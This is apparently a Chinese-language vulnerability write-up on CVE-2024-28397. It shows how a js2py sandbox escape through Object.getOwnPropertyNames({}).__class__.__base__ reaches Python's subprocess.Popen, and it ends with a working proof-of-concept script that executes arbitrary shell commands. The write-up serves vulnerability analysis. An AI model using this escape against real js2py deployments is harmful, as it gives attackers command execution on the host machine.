作者 修订时间
wjlin0 2024-06-23 01:02:22

JS2PY意外获取根对象CVE-2024-28397

0x01 环境

pip install js2py <= 0.74 #latest

0x02 前沿

无意在git上看到一个关于 CVE-2024-28397 的POC,js2py存在一个漏洞,攻击者可以使用这个漏洞在js代码中获得一个python对象的引用,使得攻击者可以逃逸js环境,在主机上执行任意命令。用户一般会调用js2py.disable_pyimport()阻止JS代码使用pyimport调用python模块,从而防止代码沙盒逃逸。但是使用这个漏洞,攻击者可以绕过这个限制,在主机上执行任意代码。

0x03 分析

根据提供的代码,发现Object.getOwnPropertyNames({}).__class__.__base__,即可获取到一个根对象,那么这是如何得到的呢

我们可以写一个代码进行调试

import js2py
payload_2 = """console.log(Object.getOwnPropertyNames({}).__class__.__base__)"""
js2py.eval_js(payload_2)

整段代码会被self.code(*args)去执行调用,他的解析顺序是从左往右console、.log()、Object ......

f7c83fc40db51c0676aa220a6b4263fd

并且依次调用PyJs.get(self, prop),获取对应的对象。

650f67657bc934405a122dcf131189ee

那么这个Object.getOwnPropertyNames({})是个啥呢,我们跟进发现,它其实就是一个方法用于获取,的所有 keys(),那么大概率,这里返回的对象就为dict对象

a712fa934ad208f15e46e3adf758eaa3

此时own.keys() 返回的对象 为 dict

cdf2c66969b232f56aa024ff6d2415ea

得到的对象的确为dict

71d59a397371a8a061736a8aa625eea1

代码运行到这里之后,就简单多了,在python里,获取根对象的方式,可以根据基本对象来获取根对象,例如以下

print({}.__class__.__base__)
print("".__class__.__base__)
print(().__class__.__base__)

8d21ef7a38064f02f76316ab1c70c1b0

得到根对象后,后面与ssti模版注入类似,

import js2py

payload_2 = """
let o = Object.getOwnPropertyNames({}).__class__.__base__.__subclasses__()
for (i in o) {
   console.log(o[i])
}
"""
js2py.eval_js(payload_2)

下面有6种方式可以执行命令

内建函数 eval 执行命令
os 模块执行命令
popen 函数执行命令
importlib 类执行命令
linecache 函数执行命令
subprocess.Popen 类执行命令

由于 获取的对象均是 是被封装后的,例如根对象 都是 PyObjectWarpper

f370f31459c94cebb2900f580b26faee

并且获取到的__init__ 函数对象也均被封装

eca2ceab4a2e8483ad4416c424a9111d

无法获取__globals__,也就无法从这里入手获取内建变量__builtins__

0afd799d813b550caf14fb94e0972937

所以这里一共有两种方式

  • 利用importlib 方法导入类

在python 中存在一个类 _frozen_importlib.BuiltinImporter 这个类,在python 中的作用就是 提供 Python 中 import 语句的实现(以及 __import__ 函数)。我么可以直接利用该类中的load_module将os模块导入,从而使用 os 模块执行命令。

5007a129124cb7e3a84f851529884436

  • 利用subprocess.Popen 类执行命令

这里类是在python 2.4引入的 可以用subprocess这个模块来产生子进程,并连接到子进程的标准输入/输出/错误中去,还可以得到子进程的返回值。subprocess意在替代其他几个老的模块或者函数,比如:os.system,os.popen等函数。

2822d519284e2178b008fb245a207db1

0x04 POC

import js2py
from sys import version

payload = """
// [+] command goes here:
let cmd = "open -a Calculator"
let hacked, bymarve, n11
let getattr, obj

hacked = Object.getOwnPropertyNames({})
bymarve = hacked.__getattribute__
n11 = bymarve("__getattribute__")
obj = n11("__class__").__base__
getattr = obj.__getattribute__

function findpopen(o) {
    let result;
    for(let i in o.__subclasses__()) {
        let item = o.__subclasses__()[i]
        if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
            return item
        }
        if(item.__name__ != "type" && (result = findpopen(item))) {
            return result
        }
    }
}

n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate()
console.log(n11)
n11
"""

def test_poc():
    etcpassword_piece = "root:x:0:0"
    result = ""
    try:
        result = repr(js2py.eval_js(payload))
    except Exception:
        return False
    return etcpassword_piece in result

def main():
    test_poc()

if __name__ == "__main__":
    main()

results matching ""

    No results matching ""